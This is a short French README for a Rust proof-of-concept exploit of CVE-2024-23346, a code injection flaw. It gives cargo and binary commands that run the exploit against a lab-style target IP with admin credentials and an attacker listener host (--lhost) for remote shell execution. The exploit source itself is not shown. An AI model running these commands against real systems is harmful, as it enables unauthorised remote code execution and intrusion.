CVE-2024-23346-rust-exploit

Un script d'exploitation en Rust pour CVE-2024-23346.

Comme illustré ci-dessous, le POC exploite la vulnérabilité d'injection de code et exécute des commandes shell distantes comme dans un terminal.

poc.webm

---

Étapes pour exécuter l'exploit :

• Exécuter directement avec Cargo
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

OU

• Compiler le binaire : cargo build -r (le binaire sera dans target/release/poc)
• Exécuter le binaire :
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

Le script d'exploit est inspiré de l'expert en scripts Python MAWK0235